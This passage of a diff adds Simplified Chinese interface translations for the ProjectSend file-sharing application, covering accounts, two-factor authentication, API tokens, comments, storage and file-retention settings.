cannot be undone.": "这将从列表中永久删除所有失败的任务,且不会重试其中任何一个。此操作无法撤销。", + "This role is assigned to accounts and cannot be deleted.": "此角色已分配给账户,无法删除。", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "此角色只能看到以下客户的文件和文件夹,以及自己上传的内容。", + "This upload would exceed your storage quota of :quota MB.": "此次上传会超出你 :quota MB 的存储配额。", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "提示:把文件和文件夹拖到某个文件夹或面包屑导航上即可移动。", + "Title": "标题", + "Title (optional)": "标题(可选)", + "TLS": "TLS", + "to": "至", + "To": "收件人", + "Toggle navigation": "切换导航", + "Too Early": "太早了", + "Too many files selected. Choose a smaller selection and try again.": "选择的文件过多,请减少数量后重试。", + "Too Many Requests": "请求次数过多。", + "Transactional email settings for this installation": "本站点的事务邮件设置", + "Transfers — last 30 days": "传输量——最近 30 天", + "Translate": "翻译", + "Translate It": "翻译它", + "Turns all transactional email for this installation on or off.": "统一开启或关闭本站点的所有事务邮件。", + "Two-factor auth": "两步验证", + "Two-factor authentication": "两步验证", + "Two-factor authentication is enabled.": "两步验证已启用。", + "Two-factor authentication was disabled": "两步验证已关闭", + "Two-factor authentication was enabled": "两步验证已启用", + "Two-factor recovery codes were regenerated": "两步验证的恢复码已重新生成", + "Type": "类型", + "Unauthorized": "未授权", + "Unavailable For Legal Reasons": "法律原因不可用", + "Unchanged": "未更改", + "Unknown Error": "未知错误", + "Unlimited": "不限", + "Unpack": "打开", + "Unprocessable Entity": "不可处理的实体", + "Unsubscribe": "退订", + "Unsupported Media Type": "不支持的媒体类型", + "Up": "向上", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "每个文件最大 :max MB。上传可以暂停,中断后会自动续传。", + "Update": "更新", + "Update :name": "更新:name", + "Updated the account \":subject\"": "更新了账户“:subject”", + "Updated the file \":subject\"": "更新了文件“:subject”", + "Updated the group \":subject\"": "更新了群组“:subject”", + "Updated the role \":subject\"": "更新了角色“:subject”", + "Updated the system settings (:section)": "更新了系统设置(:section)", + "Updated their profile information": "更新了个人资料", + "Upgrade Required": "需要升级", + "Upload": "上传", + "Upload a file": "上传文件", + "Upload files": "上传文件", + "Upload public files": "上传公开文件", + "Upload settings": "上传设置", + "Upload to public folders": "上传到公开文件夹", + "Uploaded by": "上传者", + "Uploaded the file \":subject\"": "上传了文件“:subject”", + "Uploader": "上传者", + "Uploads": "上传", + "Uploads (chart)": "上传(图表)", + "URI Too Long": "URI太长了", + "URL slug": "网址别名", + "Use a custom link instead of a random one": "使用自定义链接,而非随机链接", + "Use a recovery code": "使用恢复码", + "Use an authentication code": "使用验证码", + "Use Proxy": "使用代理", + "Use the navigation to get started.": "从导航开始使用吧。", + "Used": "已使用", + "Used in the public file URL when this file is public.": "此文件公开时,用于其公开网址。", + "Used in the public group URL when this group is public.": "此群组公开时,用于其公开网址。", + "User": "用户", + "User created.": "用户已创建。", + "User deleted.": "用户已删除。", + "User updated.": "用户已更新。", + "Users": "用户", + "Username": "用户名", + "Variant Also Negotiates": "变体协商", + "Verify Email Address": "验证 E-mail", + "Version": "版本", + "Version :version": "版本 :version", + "View": "查看", + "View :name": "查看 :name", + "View all": "查看全部", + "View dashboard counters": "查看仪表板计数器", + "View file": "查看文件", + "View news": "查看动态", + "View statistics": "查看统计", + "View system information": "查看系统信息", + "Visible widgets": "显示的小组件", + "View the activity log": "查看操作日志", + "View your files": "查看自己的文件", + "Visibility": "可见性", + "Visitors": "访客", + "Warning": "警告", + "Web Server is Down": "Web服务器已关闭", + "Website": "网站", + "Welcome": "欢迎", + "Welcome to ProjectSend": "欢迎使用 ProjectSend", + "What each kind of account is allowed to do": "各类账户分别可以做什么", + "When an account is erased, its files and folders": "账户被清除时,其文件和文件夹", + "When enabled, you will be asked for a secure code from your phone when logging in.": "启用后,登录时需要输入手机上的安全验证码。", + "When off, self-registered clients wait in the account requests queue until approved.": "关闭时,自行注册的客户会在账户申请列表中等待审批。", + "Where outgoing email is actually sent from.": "邮件实际发出的地址。", + "Whoops!": "哎呀!", + "Widgets": "小组件", + "Worth including when you report a problem.": "报告问题时建议一并提供。", + "Written by": "作者", + "Yellow": "黄色", + "Yes": "是的", + "You are commenting too quickly. Try again in a moment.": "评论太频繁了,请稍后再试。", + "You are commenting too quickly. Try again in :seconds seconds.": "评论太频繁了,请在 :seconds 秒后再试。", + "You are not a member of any group yet.": "你还没有加入任何群组。", + "You are receiving this email because we received a password reset request for your account.": "您收到此电子邮件是因为我们收到了您帐户的密码重设请求。", + "You can only share with the clients assigned to you.": "你只能与自己负责的客户共享。", + "You cannot comment on this file.": "你无法在此文件下评论。", + "You cannot deactivate your own account.": "你不能停用自己的账户。", + "You cannot delete your own account.": "你不能删除自己的账户。", + "You have no notifications yet.": "你还没有通知。", + "You will no longer receive files shared with the group \":name\".": "你将不再收到共享给群组“:name”的文件。", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "管理员最近修改了你的账户信息。如果这不在预期之内,请联系你的管理员。", + "Your account has been approved": "你的账户已通过审批", + "Your account has been created. You can log in now.": "你的账户已创建,现在即可登录。", + "Your account has been deactivated.": "你的账户已被停用。", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "你的账户会立即停用。:days 天后将被彻底抹除,包括操作日志中可识别你身份的信息,此操作无法撤销。", + "Your account request has been approved. You can now log in.": "你的账户申请已通过,现在可以登录了。", + "Your account request has been denied.": "你的账户申请已被拒绝。", + "Your account request has been received. You will be able to log in once it is approved.": "已收到你的账户申请。通过审批后即可登录。", + "Your account request has not been approved yet.": "你的账户申请尚未通过审批。", + "Your account request was denied": "你的账户申请已被拒绝", + "Your account was updated": "你的账户已更新", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "你的账户将立即停用,并在 :days 天后被彻底抹除。请输入密码以确认。", + "Your account will no longer require a second code at login, making it less secure.": "你的账户在登录时将不再需要第二道验证码,安全性会降低。", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "管理员要求此账户启用两步验证。请在下方完成设置以继续。", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "你自定义的主题和正文会立即被丢弃并替换为默认文案,此操作无法撤销。", + "Your download should start automatically.": "下载应该会自动开始。", + "Your existing recovery codes will stop working immediately.": "你现有的恢复码会立即失效。", + "Your group membership request was approved": "你的群组成员申请已通过", + "Your group membership request was denied": "你的群组成员申请已被拒绝", + "Your groups": "你的群组", + "Your previous request to this group was declined. You can request again later.": "你上次申请加入此群组被拒绝了,之后可以再次申请。", + "Your request to join the group \":group\" has been approved.": "你加入群组“:group”的申请已通过。", + "Your request to join the group \":group\" has been denied.": "你加入群组“:group”的申请已被拒绝。", + "Your request to join the group \":groupName\" has been approved": "你加入群组“:groupName”的申请已通过", + "Your shared file library": "你的共享文件库", + "API tokens": "API 令牌", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "令牌可让外部工具通过 API 代表你执行操作,且只拥有你在此授予的权限。", + "Token name": "令牌名称", + "e.g. Zapier": "例如 Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "用将要使用它的工具来命名,方便日后知道自己在吊销什么。", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "令牌的权限永远不会超过你本人。只授予工具所需的权限——你的权限一旦变化,令牌也会随之调整。", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "此处只列出 API 目前支持的权限。随着新接口发布,会有更多权限出现。", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "目前还没有可授予令牌的权限——已发布的 API 接口都与你的权限不匹配。", + "Select all": "全选", + "Clear all": "全部取消", + "Expires in (days)": "有效期(天)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "永不过期的令牌会一直有效,直到有人手动吊销。建议设置一个可以放心忘掉的期限。", + "Create token": "创建令牌", + "Copy your token now": "请立即复制你的令牌", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "令牌仅在此显示一次。我们只保存哈希值,之后无法找回。", + "Copy to clipboard": "复制到剪贴板", + "Copied": "已复制", + "Your tokens": "你的令牌", + "Revoking a token takes effect immediately.": "吊销令牌会立即生效。", + "You have not created any tokens yet.": "你还没有创建任何令牌。", + "Expired": "已过期", + "Never used": "从未使用", + "Last used :date": "最近使用::date", + "Revoke this token?": "要吊销此令牌吗?", + "Any tool using it will stop working immediately. This cannot be undone.": "使用它的工具会立即无法工作,此操作无法撤销。", + "This file type is not allowed for upload.": "不允许上传此类型的文件。", + "View the client list": "查看客户列表", + "View the group list": "查看群组列表", + "Origin": "来源", + "All origins": "所有来源", + "Web UI": "网页界面", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "编辑令牌", + "Save token": "保存令牌", + "The token is shown once, immediately after it is created, and never again.": "令牌只在创建后立即显示一次,之后不再显示。", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "令牌本身不会改变。已在使用它的程序会按你在此设置的内容继续工作。", + "Changing permissions takes effect immediately": "权限变更会立即生效", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "现有令牌的值保持不变,因此持有它的一方会立刻获得或失去这些权限。若需要全新的密钥,请吊销后重新创建。", + "Some permissions no longer apply": "部分权限已不再适用", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "此令牌仍带有目前毫无作用的权限,保存时会将其移除::abilities", + "Token updated.": "令牌已更新。", + "How external tools can act on this installation on your behalf.": "外部工具如何在本站点代表你执行操作。", + "OpenAPI specification": "OpenAPI 规范", + "Endpoints": "接口", + "Method": "方法", + "Tokens": "令牌", + "Your tokens and what they have been doing.": "你的令牌及其使用情况。", + "Every token on this installation and what it has been doing.": "本站点的所有令牌及其使用情况。", + "Show all tokens": "显示所有令牌", + "Show only mine": "只显示我的", + "Manage tokens": "管理令牌", + "Requests (7 days)": "请求数(7 天)", + "Failed (7 days)": "失败数(7 天)", + "Median response": "响应时间中位数", + "No requests yet": "暂无请求", + ":count expired": ":count 个已过期", + "Requests": "请求", + "Succeeded": "成功", + "Failed": "失败", + "Request history is kept for :days days.": "请求记录保留 :days 天。", + "Request history is kept indefinitely.": "请求记录将长期保留。", + "No tokens yet.": "还没有令牌。", + "Owner": "所有者", + "Last used": "最近使用", + "History": "历史记录", + "Busiest endpoints": "调用最频繁的接口", + "No requests in the last 7 days.": "最近 7 天没有请求。", + "Recent changes made through the API": "通过 API 进行的最近变更", + "Full history": "完整历史", + "Nothing has been changed through the API yet.": "尚未通过 API 进行任何变更。", + "API usage": "API 使用情况", + "Open the API dashboard": "打开 API 面板", + "You have no API tokens. Create one to let an external tool act on your behalf.": "你还没有 API 令牌。创建一个,让外部工具代表你执行操作。", + "API request history (days)": "API 请求记录保留天数", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "API 面板保留每次请求记录的时长。这是使用记录,与操作日志不同——操作日志是审计留痕,永不清理。设为 0 表示长期保留。", + "A category was created": "分类已创建", + "A category was deleted": "分类已删除", + "A category was renamed": "分类已重命名", + "A comment was approved": "评论已通过审核", + "A comment was deleted": "评论已删除", + "A comment was edited": "评论已修改", + "A comment was posted on a file": "有人在文件下发表了评论", + "A custom asset was created": "自定义资源已创建", + "A custom asset was deleted": "自定义资源已删除", + "A custom asset was disabled": "自定义资源已停用", + "A custom asset was enabled": "自定义资源已启用", + "A custom asset was updated": "自定义资源已更新", + "A custom field was created": "自定义字段已创建", + "A custom field was deleted": "自定义字段已删除", + "A custom field was updated": "自定义字段已更新", + "A deleted account's files and folders were deleted": "已删除账户的文件和文件夹已被删除", + "A deleted account's files and folders were reassigned": "已删除账户的文件和文件夹已重新分配", + "A file was made private": "文件已设为私密", + "A file was made public": "文件已设为公开", + "A file was previewed": "文件已被预览", + "A folder was made private": "文件夹已设为私密", + "A folder was made public": "文件夹已设为公开", + "A group was made private": "群组已设为私密", + "A group was made public": "群组已设为公开", + "An API token was created": "API 令牌已创建", + "An API token was revoked": "API 令牌已吊销", + "An API token was updated": "API 令牌已更新", + "An expired file was automatically deleted after its retention grace period passed": "过期文件在保留宽限期结束后被自动删除", + "An orphan file was automatically deleted after its retention grace period passed": "孤立文件在保留宽限期结束后被自动删除", + "An upload was cancelled": "上传已取消", + "Approved a comment on the file \":subject\"": "通过了文件“:subject”下的一条评论", + "Cancelled uploading the file \":name\"": "取消了文件“:name”的上传", + "Commented on the file \":subject\"": "评论了文件“:subject”", + "Created the API token \":token_name\"": "创建了 API 令牌“:token_name”", + "Created the category \":subject\"": "创建了分类“:subject”", + "Created the custom asset \":subject\"": "创建了自定义资源“:subject”", + "Created the custom field \":name\"": "创建了自定义字段“:name”", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "删除了已删除账户“:name”名下的 :files 个文件和 :folders 个文件夹", + "Deleted a comment on the file \":subject\"": "删除了文件“:subject”下的一条评论", + "Deleted the category \":name\"": "删除了分类“:name”", + "Deleted the custom asset \":name\"": "删除了自定义资源“:name”", + "Deleted the custom field \":name\"": "删除了自定义字段“:name”", + "Deleted the expired file \":name\"": "删除了过期文件“:name”", + "Disabled the custom asset \":subject\"": "停用了自定义资源“:subject”", + "Edited a comment on the file \":subject\"": "修改了文件“:subject”下的一条评论", + "Enabled the custom asset \":subject\"": "启用了自定义资源“:subject”", + "Made the file \":subject\" private": "把文件“:subject”设为私密", + "Made the file \":subject\" public": "把文件“:subject”设为公开", + "Made the folder \":subject\" private": "把文件夹“:subject”设为私密", + "Made the folder \":subject\" public": "把文件夹“:subject”设为公开", + "Made the group \":subject\" private": "把群组“:subject”设为私密", + "Made the group \":subject\" public": "把群组“:subject”设为公开", + "Previewed the file \":subject\"": "预览了文件“:subject”", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "把已删除账户“:name”的 :files 个文件和 :folders 个文件夹重新分配给了 :target", + "Renamed the category to \":subject\"": "把分类重命名为“:subject”", + "Revoked the API token \":token_name\"": "吊销了 API 令牌“:token_name”", + "Updated the API token \":token_name\"": "更新了 API 令牌“:token_name”", + "Updated the custom asset \":subject\"": "更新了自定义资源“:subject”", + "Updated the custom field \":name\"": "更新了自定义字段“:name”", + "Manage client custom fields": "管理客户自定义字段", + "Moderate comments": "审核评论", + "Only me": "仅自己", + "Visible to anyone who can open this file, including visitors who are not logged in.": "所有能打开此文件的人都可见,包括未登录的访客。", + "Anyone, including visitors who are not logged in": "任何人,包括未登录的访客", + "Staff and clients": "团队和客户", + "Staff only": "仅团队", + "No files — commenting is off": "没有文件——评论功能已关闭", + "Only files marked as commentable": "仅已开放评论的文件", + "Public files only": "仅公开文件", + "Shared files only": "仅共享文件", + "(blank = inheriting the site default)": "(留空 = 沿用站点默认值)", + "(blank = unlimited, no site default is set)": "(留空 = 不限,站点尚未设置默认值)", + "(deleted file)": "(已删除的文件)", + ":authorName commented on \":fileName\"": ":authorName 评论了“:fileName”", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName 评论了“:fileName”,正在等待审核", + ":count comments": ":count 条评论", + ":count file updated.|:count files updated.": "已更新 :count 个文件。|已更新 :count 个文件。", + ":count waiting for approval": ":count 条待审核", + ":guest commented on the file \":subject\"": ":guest 评论了文件“:subject”", + ":name — files": ":name — 文件", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "所选 :requested 个文件中已更新 :updated 个,其余因你没有编辑权限而被跳过。", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "以你的标志为核心的醒目页眉——搭配 Gallery 外观,让收件箱显得精致又贴合品牌。", + "Access": "访问", + "Access key": "访问密钥", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "受此设置约束的账户,只能上传扩展名在下方允许列表中的文件。", + "A clean, neutral layout that works well for any kind of file sharing.": "干净中性的版式,适合各种文件共享场景。", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "未登录用户的评论会先隐藏,直到审核人员通过为止。", + "A comment is waiting for approval": "有评论正在等待审核", + "Activity history for :name": ":name 的操作记录", + "A daily task permanently deletes files past their expiration date and grace period below.": "每日任务会永久删除已超过到期日期和下方宽限期的文件。", + "A daily task permanently deletes local orphan files older than the grace period below.": "每日任务会永久删除超过下方宽限期的本地孤立文件。", + "Add categories": "添加分类", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "在评论公开可见的文件时增加“所有人”选项。若不启用,评论只会送达已登录的人。", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "紧凑的表格式列表,一屏能显示更多文件——适合大量文件和频繁上传的场景。", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "为视觉浏览打造的全宽照片网格——摄影师和图片较多的文件集的首选。", + "Allow clients to add files to this folder from their portal.": "允许客户从自己的门户向此文件夹添加文件。", + "Allow comments on this file": "允许对此文件发表评论", + "Allowed file extensions": "允许的文件扩展名", + "Allow public comments": "允许公开评论", + "and :count more": "还有 :count 项", + "Anonymous": "匿名", + "Anonymous downloads": "匿名下载", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "适用于所有没有单独配额的客户,包括自行注册的客户。设为 0 表示不设默认值(除非客户另有限制,否则不限)。", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "群组一旦标记为公开,其页面始终可通过专属链接访问——此页面仅用于设置基础网址,以及一个可选的目录页,把所有公开群组和文件集中列出。", + "A reset link will be sent if the account exists.": "如果该账户存在,我们会发送重置链接。", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "借鉴云存储应用的宽敞彩色版式,文件类型图标清晰,留白充裕。", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "极简克制、不加多余修饰的设计——与 Compact 外观相得益彰。", + "Auto approve new accounts": "自动通过新账户", + "Automatically delete expired files": "自动删除过期文件", + "Automatically delete orphan files": "自动删除孤立文件", + "A visitor commented on a file": "访客评论了文件", + "Awaiting approval": "等待审批", + "Back": "返回", + "Be careful when changing this list — it can affect the security of this installation.": "修改此列表请务必谨慎——它会影响本站点的安全。", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "留空 = 沿用站点默认值(当前为 :default MB)。填入数值可为该客户设置单独的上限。", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "留空 = 不限(站点尚未设置默认值)。填入数值可为该客户设置单独的上限。", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "借鉴云存储应用的蓝色点缀与清爽结构——与 Drive 外观相得益彰。", + "Branding": "品牌形象", + "Bucket": "存储桶", + "Bulk edit :count files": "批量编辑 :count 个文件", + "by": "作者", + "Change at least one field before applying a bulk edit.": "应用批量编辑前,请至少修改一个字段。", + "Check for updates": "检查更新", + "Client access": "客户访问", + "Client downloads": "客户下载", + "Clients can register themselves": "允许客户自行注册", + "Clients only": "仅客户", + "Comment approved.": "评论已通过审核。", + "Comment deleted.": "评论已删除。", + "Comments": "评论", + "Comments are closed on this file.": "此文件已关闭评论。", + "Comments already written stay readable even if a file stops accepting new ones.": "即使文件不再接受新评论,已发表的评论仍可阅读。", + "Comments awaiting approval": "待审核的评论", + "Comment settings": "评论设置", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "未登录访客发表的评论。在你通过审核前,任何人都看不到。", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "连接外部的 S3 兼容存储桶(AWS S3、MinIO 或其他 S3 兼容服务),作为新上传文件的存储后端。", + "Custom endpoint": "自定义接入点", + "Custom field created.": "自定义字段已创建。", + "Custom field deleted.": "自定义字段已删除。", + "Custom field updated.": "自定义字段已更新。", + "Custom range": "自定义时间段", + "Default storage quota (MB)": "默认存储配额(MB)", + "Delete account?": "要删除该账户吗?", + "Delete failed job?": "要删除该失败任务吗?", + "Delete them permanently": "永久删除", + "Delete this comment?": "要删除此评论吗?", + "Delete this many days after being found": "发现后经过这么多天再删除", + "Delete this many days after expiry": "过期后经过这么多天再删除", + "Download :name": "下载 :name", + "Downloaded by": "下载者", + "Download history": "下载记录", + "Download history for :name": ":name 的下载记录", + "Duration": "耗时", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "每个文件的编辑页面都有“允许对此文件发表评论”开关。只有开启的文件才接受评论。", + "edited": "已编辑", + "Editing window (minutes)": "可编辑时长(分钟)", + "Email settings saved.": "邮件设置已保存。", + "Error": "错误", + "Every download, newest first": "所有下载记录,最新在前", + "Every download across the installation, newest first": "本站点的所有下载记录,最新在前", + "Every recorded action, newest first": "所有已记录的操作,最新在前", + "Expiration": "到期", + "Expired :date": "已于 :date 到期", + "Expired only": "仅已过期", + "Extension, e.g. pdf": "扩展名,例如 pdf", + "Failed at": "失败时间", + "Failed job deleted.": "失败任务已删除。", + "Failed jobs": "失败的任务", + "Failed to connect: :error": "连接失败::error", + "File retention": "文件保留", + "File retention settings": "文件保留设置", + "Files accessible to :name": ":name 可访问的文件", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "磁盘上没有对应数据库记录的文件——中断的上传、备份还原,或手动操作文件系统", + "Files that accept comments": "接受评论的文件", + "Filters": "筛选", + "Folder renamed.": "文件夹已重命名。", + "Folders": "文件夹", + "Grid view": "网格视图", + "Hold comments from visitors for approval": "访客评论需先审核", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "发表后多久内仍可编辑或删除自己的评论。设为 0 表示始终不允许。", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "过期文件在被永久删除前保留多久。设为 0 表示到期当天即删除。", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "孤立文件在被永久删除前保留多久。设为 0 表示发现当天即删除。", + "IP address": "IP 地址", + "Job queued for retry.": "任务已重新排队等待重试。", + "Language: :language": "语言::language", + "Last month": "上个月", + "Last ran": "上次运行", + "Last week": "上周", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "使用 AWS S3 时请留空。若要使用 MinIO、Backblaze 等 S3 兼容服务,请填写此项。", + "Leave empty for a file that never expires.": "留空表示文件永不过期。", + "Limit file types uploading to": "限制上传文件类型的适用对象", + "List view": "列表视图", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "将此文件夹设为公开。其中的每个文件——无论现在还是以后、位于哪一层——也都会变为公开。", + "Message": "消息", + "Moving": "正在移动", + "Never run": "从未运行", + "Next cleanup :date": "下次清理::date", + "No accounts match \":search\".": "没有与“:search”匹配的账户。", + "Nobody (no restriction)": "不限制任何人", + "No comments yet.": "还没有评论。", + "No expired files.": "没有过期文件。", + "No extensions added yet.": "还没有添加扩展名。", + "No failed jobs.": "没有失败的任务。", + "No files match these filters.": "没有符合这些筛选条件的文件。", + "None of the selected files could be edited.": "所选文件均无法编辑。", + "Nothing is waiting for approval.": "没有待审核的内容。", + "of :count": "/ :count", + "of :quota": "/ :quota", + "on": "于", + "Only the fields you change here are applied — everything else is left as-is.": "只有你在此处修改的字段才会生效,其余保持不变。", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "只有启用此存储后端之后的上传才受影响。已保存在本地的文件会留在原处并继续可用——不同存储后端之间不会迁移数据。", + "Open public page": "打开公开页面", + "Optional. Confines uploads to a subfolder within the bucket.": "可选。将上传内容限制在存储桶内的某个子目录中。", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "孤立文件自动删除只作用于本地存储,因此在启用外部存储期间会保持关闭——即使此前曾开启过。", + "Orphan files": "孤立文件", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "云端账户的邮件通过统一管理的中继服务器发出。你仍可自行设置收件人看到的发件人地址和名称。", + "Page": "页", + "Path prefix": "路径前缀", + "Pending": "待处理", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "定期检查 projectsend.org 的公开仓库是否有新版本,并在仪表板上给出提示。系统不会自动下载或安装任何内容。", + "Permanently failed": "彻底失败", + "Post comment": "发表评论", + "Preview of :name": ":name 的预览", + "Previous month": "上一个月", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "ProjectSend 的经典邮件外观——简洁中性,与任何公开页面或门户主题都很搭。", + "ProjectSend :version is available": "ProjectSend :version 已发布", + "Public folder": "公开文件夹", + "Published :date": "发布于 :date", + "Queue": "队列", + "Reassign them to another account": "转交给其他账户", + "Region": "区域", + "Remove a category": "移除分类", + "Remove categories": "移除分类", + "Rename folder": "重命名文件夹", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "多数 S3 兼容服务(如 MinIO)都需要此项。使用 AWS S3 时请保持关闭。", + "Requires Upload files": "需要“上传文件”权限", + "Retry": "重试", + "Root": "根目录", + "Scheduler": "计划任务", + "Scheduler settings": "计划任务设置", + "Search accounts…": "搜索账户…", + "Search and filter": "搜索与筛选", + "Secret key": "私有密钥", + "Select files to bulk-edit them": "选择文件即可批量编辑", + "Sender identity": "发件人身份", + "Set to…": "设置为…", + "Share": "共享", + "Shared with client": "已共享给客户", + "Shared with me": "共享给我的", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "共享文件夹即共享其中的全部内容,现在和以后添加的都包括在内。共享设置可在编辑页面管理。", + "Someone commented on a file": "有人评论了文件", + "Sort by": "排序方式", + "Storage settings": "存储设置", + "Storage settings saved.": "存储设置已保存。", + "Success: connected to bucket \":bucket\".": "成功:已连接到存储桶“:bucket”。", + "Task": "任务", + "Test connection": "测试连接", + "Test result": "测试结果", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "此账户拥有 :files 个文件和 :folders 个文件夹。要如何处理?", + "This cannot be undone.": "此操作无法撤销。", + "This client has no accessible files yet.": "此客户目前还没有可访问的文件。", + "This deletion is permanent": "此删除操作不可恢复", + "This file is public because it's inside the public folder \":name\".": "此文件位于公开文件夹“:name”内,因此是公开的。", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "无法删除此文件夹:其中有 :count 个文件不是你上传的。|无法删除此文件夹:其中有 :count 个文件不是你上传的。", + "This removes it from the failed jobs list without retrying it.": "这会把它从失败任务列表中移除,但不会重新执行。", + "Total size": "总大小", + "To update, run:": "如需更新,请执行:", + "Unavailable while external storage is active": "启用外部存储期间不可用", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "与过期文件不同,孤立文件在数据库中没有可软删除的记录——一旦删除便无法恢复。", + "Unlimited storage": "存储空间不限", + "Update :count files": "更新 :count 个文件", + "Uploaded and shared": "已上传并共享", + "Uploaded by client": "由客户上传", + "Uploaded by me": "由我上传", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "由该客户上传,或通过直接分配、群组、共享文件夹等方式提供给他们。", + "Uploading into \":name\".": "正在上传到“:name”。", + "Upload settings saved.": "上传设置已保存。", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "上传设置已保存。警告:允许 :extensions 可能存在风险——只有在了解风险的情况下才保留它们。", + "used": "已使用", + "Used in the public folder URL.": "用于公开文件夹的网址。", + "Use external storage for new uploads": "新上传的文件使用外部存储", + "Use path-style addressing": "使用路径式寻址", + "View all downloads (:count)": "查看全部下载记录(:count)", + "View full history (:count)": "查看完整历史(:count)", + "View release notes": "查看版本说明", + "View release notes on GitHub": "在 GitHub 上查看版本说明", + "Visitor": "访客", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "未登录的访客只能发表公开评论,因此在下方允许公开评论之前,此设置不会生效。", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "文件到期后,或磁盘上出现无主文件时的处理方式", + "Where": "位置", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "计划任务是否真的在运行,以及队列中发送失败的邮件", + "Who can comment on files, and which files accept comments": "谁可以评论文件,以及哪些文件接受评论", + "Who can see this": "谁可以看到", + "Who can write a comment": "谁可以发表评论", + "Write a comment…": "写下评论…", + "You cannot grant permissions your own role does not have: :permissions": "你无法授予自己角色所不具备的权限::permissions", + "You need upload permission to create folders": "创建文件夹需要上传权限", + "Your comment will be reviewed before it appears.": "你的评论将在审核通过后显示。", + "Your name": "你的姓名", + "— No change —": "— 不修改 —", + "Newest first": "最新在前", + "Oldest first": "最早在前", + "Name (A–Z)": "名称(A–Z)", + "Name (Z–A)": "名称(Z–A)", + "Largest first": "从大到小", + "Smallest first": "从小到大", + "Transfers": "传输量", + "Top clients by storage": "占用空间最多的客户", + "Largest files": "最大的文件", + "Expired files": "过期文件", + "A private note. Nobody else can read it, staff included.": "私密备注。其他人都看不到,团队成员也不例外。", + "Reply": "回复", + "Replying to :name": "回复 :name", + "The team working on this file. No client ever sees it.": "负责此文件的团队。客户永远看不到。", + "With :name": "与 :name", + "Your reply goes to :name only, and to staff.": "你的回复只会发给 :name 和团队。", + "Your reply goes to the same people as the comment above.": "你的回复会发给与上方评论相同的人。", + "Public comments are turned off for this site.": "本站点已关闭公开评论。", + "Only a file that is publicly visible can have public comments.": "只有公开可见的文件才能有公开评论。", + "The team, and everyone this file is shared with. Clients cannot see each other.": "团队,以及此文件共享到的所有人。客户之间互相不可见。", + "Everyone above, plus anyone who opens this file without logging in.": "上述所有人,外加任何未登录就打开此文件的人。", + "Not signed in": "未登录", + "New comment on \":name\"": "“:name”有新评论", + ":author commented on \":name\".": ":author 